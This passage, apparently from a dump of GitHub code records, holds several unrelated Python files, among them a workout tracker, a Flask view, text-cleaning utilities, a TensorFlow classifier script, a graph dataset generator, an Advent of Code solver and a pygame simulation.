True\r\n elif activity.lower() == \"skip\":\r\n now = datetime.now()\r\n print(\"You are in the \" + select + \" muscle group. \")\r\n print(\r\n \"The current time is: \"\r\n + str(time.strftime(\"%H:%M:%S\"))\r\n + \". \"\r\n + str(now - start)\r\n + \" has elapsed.\"\r\n )\r\n complete.pop(-1)\r\n times.pop(-1)\r\n print(\"Activity skipped! Run the `next` command to move on. \\n\")\r\n run_activity = True\r\n elif activity.lower() == \"end\":\r\n now = datetime.now()\r\n times.append(now)\r\n print(\"You have completed the \" + select + \" muscle group.\")\r\n print(\"It took \" + str(now - start) + \" to complete this workout.\")\r\n print(\"The following activities were completed (time elapsed):\")\r\n for i in range(len(complete)):\r\n print(\r\n str(i + 1)\r\n + \". \"\r\n + str(complete[i])\r\n + \"\\t(\"\r\n + str(times[i + 1] - times[i])\r\n + \")\"\r\n )\r\n print(\"Congratulations! \\n\")\r\n run_activity = True\r\n elif activity.lower() == \"stats\":\r\n try:\r\n now = datetime.now()\r\n times.append(now)\r\n print(\"You are in the \" + select + \" muscle group. \")\r\n print(\r\n \"The current time is: \"\r\n + str(time.strftime(\"%H:%M:%S\"))\r\n + \". \"\r\n + str(now - start)\r\n + \" has elapsed.\"\r\n )\r\n print(\"The following activities have been completed (time elapsed):\")\r\n for i in range(len(complete)):\r\n print(\r\n str(i + 1)\r\n + \". \"\r\n + str(complete[i])\r\n + \"\\t(\"\r\n + str(times[i + 1] - times[i])\r\n + \")\"\r\n )\r\n print(\"The following activities still need to be completed:\")\r\n if select == \"abs\":\r\n for i in range(len(abs) - len(complete)):\r\n print(str(i + 1) + \". \" + str(abs[i + activity_num]))\r\n elif select == \"quads\":\r\n for i in range(len(quads) - len(complete)):\r\n print(str(i + 1) + \". \" + str(quads[i + activity_num]))\r\n elif select == \"glutes\":\r\n for i in range(len(glutes) - len(complete)):\r\n print(str(i + 1) + \". \" + str(glutes[i + activity_num]))\r\n elif select == \"triceps\":\r\n for i in range(len(triceps) - len(complete)):\r\n print(str(i + 1) + \". \" + str(triceps[i + activity_num]))\r\n elif select == \"biceps\":\r\n for i in range(len(biceps) - len(complete)):\r\n print(str(i + 1) + \". \" + str(biceps[i + activity_num]))\r\n elif select == \"back\":\r\n for i in range(len(back) - len(complete)):\r\n print(str(i + 1) + \". \" + str(back[i + activity_num]))\r\n elif select == \"chest\":\r\n for i in range(len(chest) - len(complete)):\r\n print(str(i + 1) + \". \" + str(chest[i + activity_num]))\r\n print(\"\")\r\n except IndexError:\r\n print(\"You cannot use both the `skip` and `stats` commands, sorry! \\n\")\r\n run_activity = True\r\n elif activity.lower() == \"video\":\r\n now = datetime.now()\r\n times.append(now)\r\n print(\"You are in the \" + select + \" muscle group. \")\r\n print(\r\n \"The current time is: \"\r\n + str(time.strftime(\"%H:%M:%S\"))\r\n + \". \"\r\n + str(now - start)\r\n + \" has elapsed.\"\r\n )\r\n if select == \"abs\":\r\n video(abs_video)\r\n complete.append(\"Abs Video \\t\")\r\n elif select == \"quads\":\r\n video(quads_video)\r\n complete.append(\"Quads Video \\t\")\r\n elif select == \"glutes\":\r\n video(glutes_video)\r\n complete.append(\"Glutes Video\")\r\n elif select == \"triceps\":\r\n video(triceps_video)\r\n complete.append(\"Triceps Video\")\r\n elif select == \"biceps\":\r\n video(biceps_video)\r\n complete.append(\"Biceps Video\\t\")\r\n elif select == \"back\":\r\n video(back_video)\r\n complete.append(\"Back Video \\t\")\r\n elif select == \"chest\":\r\n video(chest_video)\r\n complete.append(\"Chest Video \\t\")\r\n print(\"\")\r\n run_activity = True\r\n elif activity.lower() == \"license\":\r\n print(\"PyWorkout Copyright (C) 2021-2023 @willtheorangeguy\")\r\n print(\r\n \"This program comes with ABSOLUTELY NO WARRANTY; for details view the license.\"\r\n )\r\n print(\"This is free software, and you are welcome to redistribute it\")\r\n print(\"under certain conditions; view the license for details. \\n\")\r\n elif activity.lower() == \"quit\":\r\n run_activity = False\r\n exit()\r\n break\r\n elif activity.lower() == \"help\":\r\n print(\"PyWorkout - (C) 2021-2023\")\r\n print(\"Any of these options are available: \")\r\n print(\"list Lists the workout activities by muscle group.\")\r\n print(\"start Starts the workout and displays the first workout activity.\")\r\n print(\"next Moves to the next workout activity.\")\r\n print(\"skip Skips the current workout activity.\")\r\n print(\"end Completes the workout and display full workout statistics.\")\r\n print(\r\n \"stats Shows workout statistics at any point (does not work with the `skip` command).\"\r\n )\r\n print(\"video Opens the workout video assigned to each muscle group.\")\r\n print(\"license Show the license.\")\r\n print(\"help Prints this help text.\")\r\n print(\"quit Ends the program.\")\r\n print(\r\n \"More documentation can be found on Github. Enjoy using the program! \\n\"\r\n )\r\n run_activity = True\r\n else:\r\n print(\"Sorry that is not an option. Please see this list of options below:\")\r\n print(\"list Lists the workout activities by muscle group.\")\r\n print(\"start Starts the workout and displays the first workout activity.\")\r\n print(\"next Moves to the next workout activity.\")\r\n print(\"skip Skips the current workout activity.\")\r\n print(\"end Completes the workout and display full workout statistics.\")\r\n print(\"stats Shows workout statistics at any point.\")\r\n print(\"video Opens the workout video assigned to each muscle group.\")\r\n print(\"license Show the license.\")\r\n print(\"help Prints a similar help text.\")\r\n print(\"quit Ends the program. \\n\")\r\n run_activity = True\r\n\r\n\r\nif __name__ == \"__main__\":\r\n workout()\r\n","repo_name":"Dog-Face-Development/PyWorkout","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":25698,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"35"} +{"seq_id":"35725008479","text":"'''\nSimple Moving Average\ndata: A DataFrame object containing the data get to get the rolling average from.\nwindow: Time period over which to get average\n'''\ndef sma(data, window=20):\n return data.rolling(window=window).mean()\n\n'''\ndata: Price data for the stock we want to calculate performance on.\nweights: How much of the stock is owned at any point in time.\n'''\ndef calculate_performance(data, weights):\n daily_changes = []\n for i in range(1,len(data)):\n daily_changes.append(data[i] / data[i-1] -1)\n\n performance = [100]\n\n for i in range(1, len(data)-2):\n weight = weights[i]\n if weight == 1:\n performance.append(performance[i-1] * (1 + daily_changes[i+1]))\n else:\n performance.append(performance[i-1])\n\n return performance\n ","repo_name":"anerli/atc-thing","sub_path":"indicators.py","file_name":"indicators.py","file_ext":"py","file_size_in_byte":801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"21603587056","text":"from gearbox.migrations import Migration\n\nclass AddTableEPGroup(Migration):\n\n database = \"mobile\"\n\n def up(self):\n t = self.table('EPGroup', area=\"Sta_Data_256\", label=\"Product group\", dump_name=\"epgrp\", desc=\"External product group\")\n t.column('EpGroup', 'character', format=\"x(12)\", initial=\"\", max_width=24, label=\"EPcode\", column_label=\"EPcode\", position=2, order=10, help=\"Unique code of product group\")\n t.column('EpName', 'character', format=\"x(40)\", initial=\"\", max_width=80, label=\"Name\", column_label=\"Name\", position=3, order=20, help=\"Name of product group\")\n t.column('Memo', 'character', format=\"x(60)\", initial=\"\", max_width=1220, label=\"Memo\", column_label=\"Memo\", extent=10, position=4, order=30, help=\"Memo text\")\n t.column('Brand', 'character', format=\"x(8)\", initial=\"\", max_width=16, label=\"BrCode\", column_label=\"BrCode\", position=5, order=40, help=\"Code Of Brand\")\n t.index('EpGroup', [['Brand'], ['EpGroup', 'ABBREVIATED']], area=\"Sta_Index_3\", primary=True, unique=True)\n t.index('EpName', [['Brand'], ['EpName'], ['EpGroup', 'ABBREVIATED']], area=\"Sta_Index_3\", unique=True)\n\n def down(self):\n self.drop_table('EPGroup')\n","repo_name":"subi17/ccbs_new","sub_path":"db/progress/migrations/0320_add_table_mobile_epgroup.py","file_name":"0320_add_table_mobile_epgroup.py","file_ext":"py","file_size_in_byte":1212,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"3637738795","text":"from flask.views import MethodView\nfrom flask import request, render_template, redirect, url_for, flash, abort\nfrom pr.components.query import query_check_user_in_camp, query_find_user,\\\n input_values_edit_campaign, query_find_same_adress\nfrom pr.models.user_campaigns import UserCampaigns\nfrom flask_login import current_user\nfrom pr.models.adresses import Adresses\n\n\n# Класс отвечающий за рендер страницы с редактированием кампании\nclass EditCampaign(MethodView):\n\n def get(self, camp_id):\n adminQ, db_addresses, db_edit_page, db_users, stats_door_open, stats_reaction_get = input_values_edit_campaign(\n camp_id)\n return render_template('edit_campaign.html',\n error='',\n db_addresses=db_addresses,\n db_users=db_users,\n db_edit_page=db_edit_page,\n adminQ=adminQ,\n stats_door_open=stats_door_open,\n stats_reaction_get=stats_reaction_get)\n\n def post(self, camp_id):\n adminQ, db_addresses, db_edit_page, db_users, stats_door_open, stats_reaction_get = input_values_edit_campaign(\n camp_id)\n # Если пользователь владеет кампанией\n if adminQ:\n # Если нажата кнопка `Добавить адрес`\n if request.form['submit_button'] == 'add_address':\n town = request.form.get('town') # город\n street = request.form.get('street') # улица\n house = request.form.get('house') # номер дома\n entrance_number = request.form.get('entrance_number') # количество подъездов\n flat_number = request.form.get('flat_number') # количество квартир\n # проверка на отсутствие пустых ячеек\n check_correct_input = all([x is not None for x in [town, street, house, entrance_number, flat_number]])\n print(town, street, house)\n if check_correct_input:\n if query_find_same_adress(town, street, house) is None:\n # Добавление адреса в таблицу `adresses` / привязка адреса к кампании в таблице campaign_adresses\n flash('Новый адрес успешно добавлен в кампанию!', 'message')\n Adresses.add_address(town=town,\n street=street,\n house_number=house,\n amount_of_entrance_number=entrance_number,\n amount_of_flats=flat_number,\n camp_id=camp_id)\n else:\n error = 'Такой адрес уже существует'\n return render_template('edit_campaign.html',\n error=error,\n db_addresses=db_addresses,\n db_users=db_users,\n db_edit_page=db_edit_page,\n adminQ=adminQ,\n stats_door_open=stats_door_open,\n stats_reaction_get=stats_reaction_get)\n elif request.form['submit_button'] == 'add_user':\n username = request.form.get('username')\n data_user = query_find_user(username)\n if data_user:\n if query_check_user_in_camp(data_user.id, camp_id):\n error = 'Пользователь уже в кампании'\n return render_template('edit_campaign.html',\n error=error,\n db_addresses=db_addresses,\n db_users=db_users,\n db_edit_page=db_edit_page,\n adminQ=adminQ,\n stats_door_open=stats_door_open,\n stats_reaction_get=stats_reaction_get)\n else:\n UserCampaigns.add_user_campaigns(data_user.id,\n camp_id,\n 1)\n flash('Пользователь успешно добавлен в кампанию!', 'message')\n else:\n flash('Пользователя не существует', 'error')\n return redirect(url_for('edit_campaign',\n camp_id=camp_id))\n elif request.form['submit_button'] == 'Назад':\n return redirect(url_for('edit_campaign',\n camp_id=camp_id))\n else:\n return redirect(url_for('visit',\n adress_id=request.form['submit_button']))\n\n return redirect(url_for('edit_campaign', camp_id=camp_id))\n else:\n if request.form['submit_button'] != '':\n return redirect(url_for('visit',\n adress_id=request.form['submit_button']))\n else:\n abort(401)\n","repo_name":"Vindicatory/team4_heroku_deploy","sub_path":"team4/pr/views/edit_campaign.py","file_name":"edit_campaign.py","file_ext":"py","file_size_in_byte":5857,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"30467403360","text":"import socket, os\r\nprint(\"\\nServeur --- En attente d'un client...\\n\")\r\nip = socket.gethostbyname(socket.gethostname())\r\nport = (int(ip.split('.')[0]) * int(ip.split('.')[1])) - int(ip.split('.')[3])\r\nip += ':' + str(port)\r\n\r\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\nsock.bind(('', port))\r\nwhile True:\r\n\tsock.listen(1)\r\n\tclient, address = sock.accept()\r\n\tresponse = client.recv(1024).decode()\r\n\tif response != '': break\r\nclient.close()\r\nsock.close()\r\nos.system('python cli_serv.py serveur ' + ip)\r\n","repo_name":"acive/Autoconnect-python3-chat","sub_path":"serveur.py","file_name":"serveur.py","file_ext":"py","file_size_in_byte":514,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"19539127837","text":"from typing import Dict, List, Set, Tuple, Optional, Any, Callable, NoReturn, Union, Mapping, Sequence, Iterable\nimport re\nfrom nltk.tokenize import word_tokenize\nfrom nltk.corpus import stopwords\nimport contractions\nimport numpy as np\nimport spacy\nimport unidecode\nfrom bs4 import BeautifulSoup\nfrom nltk.stem import WordNetLemmatizer\nfrom word2number import w2n\nimport nltk\nimport emoji\nimport string\n\nimport pdb\n\n\ndef load_lemmatizer():\n \"\"\"\n\n :return:\n \"\"\"\n return WordNetLemmatizer()\n\n\ndef load_nlp():\n \"\"\"\n\n :return:\n \"\"\"\n return spacy.load('en_core_web_md')\n\n\ndef deselect_stop_words():\n \"\"\"\n\n :return:\n \"\"\"\n nlp = load_nlp()\n # exclude words from spacy stopwords list\n deselect_stop_words = ['no', 'not']\n for w in deselect_stop_words:\n nlp.vocab[w].is_stop = False\n return nlp\n\n\ndef strip_html_tags(text):\n \"\"\"\n remove html tags from text\n :param text:\n :return:\n \"\"\"\n soup = BeautifulSoup(text, \"html.parser\")\n stripped_text = soup.get_text(separator=\" \")\n return stripped_text\n\n\ndef remove_whitespace(text):\n \"\"\"\n remove extra whitespaces from text\n :param text:\n :return:\n \"\"\"\n text = text.strip()\n return \" \".join(text.split())\n\n\ndef remove_accented_chars(text):\n \"\"\"\n remove accented characters from text, e.g. café\n :param text:\n :return:\n \"\"\"\n text = unidecode.unidecode(text)\n return text\n\n\ndef expand_contractions(text):\n \"\"\"\n expand shortened words, e.g. don't to do not\n :param text:\n :return:\n \"\"\"\n text = contractions.fix(text)\n return text\n\n\ndef text_preprocessing(text, accented_chars=True, contractions=True,\n convert_num=True, extra_whitespace=True,\n lemmatization=True, lowercase=True, punctuations=True,\n remove_html=True, remove_num=True, special_chars=True,\n stop_words=True):\n \"\"\"\n preprocess text with default option set to true for all steps\n :param text:\n :param accented_chars:\n :param contractions:\n :param convert_num:\n :param extra_whitespace:\n :param lemmatization:\n :param lowercase:\n :param punctuations:\n :param remove_html:\n :param remove_num:\n :param special_chars:\n :param stop_words:\n :return:\n \"\"\"\n if remove_html is True: # remove html tags\n text = strip_html_tags(text)\n if extra_whitespace is True: # remove extra whitespaces\n text = remove_whitespace(text)\n if accented_chars is True: # remove accented characters\n text = remove_accented_chars(text)\n if contractions is True: # expand contractions\n text = expand_contractions(text)\n if lowercase is True: # convert all characters to lowercase\n text = text.lower()\n\n nlp = load_nlp()\n doc = nlp(text) # tokenise text\n\n clean_text = []\n\n for token in doc:\n flag = True\n edit = token.text\n # remove stop words\n if stop_words is True and token.is_stop and token.pos_ != 'NUM':\n flag = False\n # remove punctuations\n if punctuations is True and token.pos_ == 'PUNCT' and flag is True:\n flag = False\n # remove special characters\n if special_chars is True and token.pos_ == 'SYM' and flag is True:\n flag = False\n # remove numbers\n if remove_num is True and (token.pos_ == 'NUM' or token.text.isnumeric()) \\\n and flag is True:\n flag = False\n # convert number words to numeric numbers\n if convert_num is True and token.pos_ == 'NUM' and flag is True:\n edit = w2n.word_to_num(token.text)\n # convert tokens to base form\n elif lemmatization is True and token.lemma_ != \"-PRON-\" and flag is True:\n edit = token.lemma_\n # append tokens edited and not removed to list\n if edit != \"\" and flag is True:\n clean_text.append(edit)\n return clean_text\n\n\ndef clean_text(text, lemmatizer=None):\n \"\"\"\n\n :param text:\n :param lemmatizer:\n :return:\n \"\"\"\n if lemmatizer is None:\n lemmatizer = load_lemmatizer()\n text_lc = \"\".join([word.lower() for word in text if word not in string.punctuation])\n text_rc = re.sub('[0-9]+', '', text_lc)\n tokens = word_tokenize(text_rc) # tokenization\n tokens = [lemmatizer.lemmatize(word) for word in tokens if word not in stopwords.words(\"english\")]\n return \" \".join(tokens)\n\n\ndef clean_tweet(tweet):\n \"\"\"\n\n :param tweet:\n :return:\n \"\"\"\n if type(tweet) == np.float:\n return \"\"\n temp = tweet.lower()\n temp = re.sub(\"'\", \"\", temp) # to avoid removing contractions in english\n temp = re.sub(\"@[A-Za-z0-9_]+\", \"\", temp)\n temp = re.sub(\"#[A-Za-z0-9_]+\", \"\", temp)\n temp = re.sub(r'http\\S+', '', temp)\n temp = re.sub('[()!?]', ' ', temp)\n temp = re.sub('\\[.*?\\]', ' ', temp)\n temp = re.sub(\"[^a-z0-9]\", \" \", temp)\n temp = word_tokenize(temp)\n # temp = [lemmatizer.lemmatize(w) for w in temp]\n temp = \" \".join(word for word in temp)\n return temp\n\n\ndef cleaner(tweet):\n \"\"\"\n\n :param tweet:\n :return:\n \"\"\"\n tweet = re.sub(\"@[A-Za-z0-9]+\", \"\", tweet) # Remove @ sign\n tweet = re.sub(r\"(?:\\@|http?\\://|https?\\://|www)\\S+\", \"\", tweet) # Remove http links\n tweet = \" \".join(tweet.split())\n tweet = ''.join(c for c in tweet if c not in emoji.UNICODE_EMOJI) # Remove Emojis\n tweet = tweet.replace(\"#\", \"\").replace(\"_\", \" \") # Remove hashtag sign but keep the text\n tweet = \" \".join(w for w in nltk.wordpunct_tokenize(tweet)\n if w.lower() in stopwords.words(\"english\") or not w.isalpha())\n return tweet\n\n\ndef main():\n pass\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"lucianistrati/SemEval2022-Multimedia-Automatic-Misogyny-Identification","sub_path":"src/meme_text_preproc.py","file_name":"meme_text_preproc.py","file_ext":"py","file_size_in_byte":5768,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"2644394425","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on 2017年05月15日\n\n@author: MJ\n\"\"\"\nfrom __future__ import absolute_import\nimport os\nimport sys\np = os.path.dirname(os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))))\nif p not in sys.path:\n sys.path.append(p)\nimport tensorflow as tf\nfrom tensorflow.contrib import learn\nimport numpy as np\nfrom constant import PROJECT_DIRECTORY\n\n\n# checkpoint_dir, 训练时保存的模型\ntf.flags.DEFINE_string(\"checkpoint_dir\", os.path.join(PROJECT_DIRECTORY, \"classification/cnn/text_cnn/data/model/runs/1494832207/checkpoints\"), \"Checkpoint directory from training run\")\n# allow_soft_placement, 设置为True时, 如果你指定的设备不存在,允许TF自动分配设备\ntf.flags.DEFINE_boolean(\"allow_soft_placement\", True, \"Allow device soft device placement\")\n# log_device_placement, 设备上放置操作日志的位置\ntf.flags.DEFINE_boolean(\"log_device_placement\", False, \"Log placement of ops on devices\")\n\n# 设置参数\nFLAGS = tf.flags.FLAGS\nFLAGS._parse_flags()\nprint(\"\\nParameters:\")\nfor attr, value in sorted(FLAGS.__flags.items()):\n print(\"{}={}\".format(attr.upper(), value))\nprint(\"\")\n\n\ndef predict_doc(doc):\n \"\"\"\n 给定一个文本,预测文本的分类\n \"\"\"\n # 加载词典\n vocab_path = os.path.join(FLAGS.checkpoint_dir, \"..\", \"vocab\")\n # 从给定文件恢复词汇处理器。\n vocab_processor = learn.preprocessing.VocabularyProcessor.restore(vocab_path)\n # 将评估数据根据词汇处理器转换成相应的格式\n x_test = np.array(list(vocab_processor.transform([doc])))\n # 查找最新保存的检查点文件的文件名\n checkpoint_file = tf.train.latest_checkpoint(FLAGS.checkpoint_dir)\n graph = tf.Graph()\n with graph.as_default():\n # session配置\n session_conf = tf.ConfigProto(\n allow_soft_placement=FLAGS.allow_soft_placement,\n log_device_placement=FLAGS.log_device_placement)\n # 自定义session然后通过session.as_default() 设置为默认视图\n sess = tf.Session(config=session_conf)\n with sess.as_default():\n # 载入保存Meta图\n saver = tf.train.import_meta_graph(\"{}.meta\".format(checkpoint_file))\n # 恢复变量\n saver.restore(sess, checkpoint_file)\n # 从图中根据名称获取占位符\n input_x = graph.get_operation_by_name(\"model/input_x\").outputs[0]\n dropout_keep_prob = graph.get_operation_by_name(\"model/dropout_keep_prob\").outputs[0]\n # 待评估的Tensors\n predictions = graph.get_operation_by_name(\"model/output/predictions\").outputs[0]\n predict_class = sess.run(predictions, {input_x: x_test, dropout_keep_prob: 1.0})[0]\n return predict_class\n\n\nif __name__ == '__main__':\n print (predict_doc(\"a masterpiece four years in the making\"))\n print (predict_doc(\"everything is off.\"))\n","repo_name":"xiximeng/machine_learning","sub_path":"classification/cnn/text_cnn/predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":2955,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"16630148388","text":"import xml.dom.minidom as DM\nimport xml.etree.ElementTree as ET\nfrom xml.etree.ElementTree import tostring\nimport os\nfrom os import walk\n\npath = ('/Users/mac/Desktop/sentience_frames')\n\n# Result: number of files: 51\n# number of nodes: around 50 for each frame\ndef parseFM(path):\n i = 0\n\n for filename in os.listdir(path):\n print('number of frame files:')\n i = i+1\n print(i)\n if not filename.endswith('.xml'):\n continue\n fullname = os.path.join(path, filename)\n tree = ET.parse(fullname)\n tree = tree.getroot()\n t = tostring(tree)\n t = t.lower()\n tree = ET.fromstring(t)\n print(tree)\n print(tree.attrib)\n print(tree.tag)\n\n f = []\n\n for (dirpath, dirnames, filenames) in walk(path):\n f.extend(filenames)\n\n\n\n\n ct1 = 0\n for node in tree:\n print(\"tag:\") # tag includes: fe, frame relation, lexunit\n print(node.tag)\n\n print(\"attribute:\") # attribute is the line after tag\n for x, y in node.attrib.items():\n if x == 'id':\n print('id:')\n print(y)\n print('number of nodes for each file: ')\n ct1 = ct1+1\n print(ct1)\n\n\n print(f)\n\n with open('/Users/mac/Desktop/sen_output', 'w') as file_handler:\n for item in f:\n file_handler.write(\"{}\\n\".format(item))\n\n\n\ndef main():\n parseFM(path)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"suziexi/2020GSoC_FrameBlends","sub_path":"read_senti_frames.py","file_name":"read_senti_frames.py","file_ext":"py","file_size_in_byte":1504,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"24233519469","text":"########################################################################################################################\n# Oved Nagar 7.12.17 #\n########################################################################################################################\n\nimport networkx as nx\nimport VertexCreator as vc\nimport random\n\neps = 0.1\nnum_of_components = 100\nmin_size_component = 3\nmax_size_component = 5\nnum_of_nodes_in_graph = 100000\nnum_edges_in_graph = 400000\nedges_output_file = \"data_set_edge_5\"\ndata_output_file = \"data_set_data_5\"\ncomponent_out_file = \"data_set_comp_5\"\n\nmark = [0] * (num_of_nodes_in_graph + 1)\nvertex_list = []\nG = nx.Graph()\nfor i in range(1, num_of_nodes_in_graph + 1):\n v = vc.Vertex(i, random.randint(0, 6), 0.3 + (random.random() * 0.7), 1, 0)\n G.add_node(i, data=v)\n\nfor i in range(1, num_edges_in_graph):\n G.add_edge(random.randint(1, num_of_nodes_in_graph), random.randint(1, num_of_nodes_in_graph))\n\n\ndef get_reachable(Graph, component):\n reachable_r = []\n for n in component:\n # iterate over all reachable and add if its not already in the neighbors/comp_i\n for node_u in nx.all_neighbors(Graph, n):\n if int(node_u) not in reachable_r and int(node_u) not in component and mark[node_u] == 0:\n marked_neighbor = False\n # check the the neighbor doesnt have more neighbors that are already in component\n for u_node in nx.all_neighbors(Graph, node_u):\n if int(u_node) not in reachable_r and int(u_node) not in component and mark[u_node] == 1:\n marked_neighbor = True\n break\n if not marked_neighbor:\n reachable_r.append(int(node_u))\n return reachable_r\n\n\nconnected_file = open(component_out_file, \"w\")\n# list to save number of components created from each size 1..8\ncomp_sizes = [0] * max_size_component\n# list to save number of components of each weight <= 0.1 - 0.12 - 0.15 - 0.18 - 0.2 - 0.22 - 0.25 - 0.28 - >2.8\ncomp_weights = [0] * 9\n\n# create 100 components\ncomp_loop = num_of_components\ni = 0\nwhile i < comp_loop:\n # random start node and size of component\n comp = []\n size = random.randint(min_size_component, max_size_component)\n start = random.randint(1, num_of_nodes_in_graph)\n # mark as part of component or choose other node\n good_start_point = True\n if mark[start] == 1:\n good_start_point = False\n for u in nx.all_neighbors(G, start):\n if mark[u] == 1:\n good_start_point = False\n if not good_start_point:\n continue\n mark[start] = 1\n comp.append(start)\n # give new weight to node\n G.node[start]['data'].colorScore = random.random() * (eps*0.95 / size)\n weight = G.node[start]['data'].colorScore\n curr_node = start\n # choose one component from reachable nodes and add it\n size_loop = size\n j = 1\n while j < size_loop:\n reachable = get_reachable(G, comp)\n reach_node = random.choice(reachable)\n if mark[reach_node] == 1:\n continue\n # mark and give new weight\n mark[reach_node] = 1\n G.node[reach_node]['data'].colorScore = random.random() * (eps*0.95 / size)\n weight = weight + G.node[reach_node]['data'].colorScore\n comp.append(reach_node)\n j += 1\n\n comp_sizes[size - 1] += 1\n\n for node in comp:\n print(str(node) + \" \", end=\"\")\n connected_file.write(str(node) + \" \")\n print(\" = \" + str(weight))\n connected_file.write(\"\\n\")\n connected_file.write(str(weight) + \"\\n\")\n\n i += 1\n\n if weight <= 0.1:\n comp_weights[0] += 1\n if weight <= 0.12:\n comp_weights[1] += 1\n if weight <= 0.15:\n comp_weights[2] += 1\n if weight <= 0.18:\n comp_weights[3] += 1\n if weight <= 0.2:\n comp_weights[4] += 1\n if weight <= 0.22:\n comp_weights[5] += 1\n if weight <= 0.25:\n comp_weights[6] += 1\n if weight <= 0.28:\n comp_weights[7] += 1\n if weight <= eps:\n comp_weights[8] += 1\n\nconnected_file.write(\"number of components of weight..\\n\")\nconnected_file.write(\"0.1-0.12-0.15-0.18-0.2-0.22-0.25-0.28-eps\\n\")\nfor w in comp_weights:\n print(str(w) + \" \", end=\"\")\n connected_file.write(str(w) + \" \")\nprint()\nconnected_file.write(\"\\n\")\n\nconnected_file.write(\"component size\\n\")\ni = 0\nfor s in comp_sizes:\n print(\"size \" + str(i) + \": \" + str(s))\n connected_file.write(str(s) + \" \")\n i += 1\n\nedges_file = open(edges_output_file, \"w\")\ndata_file = open(data_output_file, \"w\")\n\nfor edge in G.edges():\n edges_file.write(str(edge[0]) + \" \" + str(edge[1]) + \"\\n\")\n\nfor v in G.nodes():\n vertex = G.node[v]['data']\n data = str(v) + \" \" + str(vertex.color) + \" \" + str(vertex.colorScore) + \" \" + str(vertex.test) + \"\\n\"\n data_file.write(data)\n\nedges_file.close()\ndata_file.close()\n\n\nb = 0\n\n\n\n\n\n","repo_name":"kerenco/detecting-anomaly-connected-component","sub_path":"data_set_0.1/DataSetCreator.py","file_name":"DataSetCreator.py","file_ext":"py","file_size_in_byte":4993,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"74605323941","text":"\"\"\"AoC 2015.01 problem solver.\n\nTakes input from STDIN by default.\n\n(c) Alexander Kashev, 2017\n\"\"\"\nimport sys\n\n\ndef chars(file, chunkSize=4096):\n \"\"\"\n Take a file object, read it in chuncks and iterate over it one character at a time.\n\n Keyword arguments:\n file --- a file object to iterate over\n chunkSize --- buffer size for file reads (default=4096)\n \"\"\"\n chunk = file.read(chunkSize)\n while chunk:\n for char in chunk:\n yield char\n chunk = file.read(chunkSize)\n\n\ndef solver(file):\n \"\"\"\n Take a file object with input and solve AoC 2015.01 problem on the input.\n\n Keyword arguments:\n file --- a file object to read input from\n \"\"\"\n level = 0\n step = 0\n basement = 0\n\n for instruction in chars(file):\n if instruction == \"(\":\n step += 1\n level += 1\n elif instruction == \")\":\n step += 1\n level -= 1\n\n if not basement and level == -1:\n basement = step\n\n return (level, basement)\n\n\nif __name__ == \"__main__\":\n solution = solver(sys.stdin)\n\n print(\"Part A: Final level is {}\".format(solution[0]))\n\n if solution[1]:\n print(\"Part B: First entered basement on step {}\".format(solution[1]))\n else:\n print(\"Part B: Never entered basement\")\n","repo_name":"kav2k/AoC","sub_path":"2015/01/solver.py","file_name":"solver.py","file_ext":"py","file_size_in_byte":1214,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"5481814582","text":"import pygame\nfrom physicsobject import PO\nfrom inputclass import Input\nfrom target import Target\nimport numpy as np\npygame.init()\nclock = pygame.time.Clock()\n\nscreen = pygame.display.set_mode((1920, 1080), pygame.RESIZABLE)\nxf = 0\nyf = 0\nrf = 0\noh = 50\now = 50\nforce_right = 0\nforce_left = 0\nmass = 1\nr = .1\ninertia = mass * r * r\nforce_front = 0\nforce_rot = 0\nrunning = True\ninput = Input(1,1)\nobject = PO(\"rect\", 100, 100,1,1,100,1)\ntarget = Target(100,100,[100,100])\npygame.display.set_caption(\"TheProgram\")\ntarget.instantiate(100,100)\nwhile running:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n running = False\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_e:\n force_right = .2\n if event.key == pygame.K_d:\n force_right = .1\n if event.key == pygame.K_c:\n force_right = -.1\n if event.key == pygame.K_q:\n force_left = .2\n if event.key == pygame.K_a:\n force_left = .1\n if event.key == pygame.K_z:\n force_left = -.1\n else:\n force_right = 0\n force_left = 0\n screen.fill((200, 200, 200))\n if (force_left >= 0 and force_right >= 0) or (force_left < 0 and force_right < 0):\n force_front = force_left + force_right - abs(force_left - force_right)\n elif (force_left < 0 and force_right == 0) or (force_right < 0 and force_left == 0):\n force_front = 0\n else:\n force_front = force_left + force_right #+ abs(force_left - force_right)\n\n force_rot = force_left - force_right\n object.setVelocity()\n object.applyForce(input.calculateforward(object.rot, force_front), force_rot)\n object.move()\n object.boundries(1920, 1080)\n target.draw(screen)\n object.draw(screen)\n clock.tick(60)\n pygame.display.update()\n\n\npygame.quit()\n","repo_name":"Maryn13/PWSpython","sub_path":"Sim.py","file_name":"Sim.py","file_ext":"py","file_size_in_byte":1918,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"45625367756","text":"import time\nfrom behave import *\nfrom selenium.webdriver import ActionChains\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium import webdriver\n\n\n@given(u'I launched 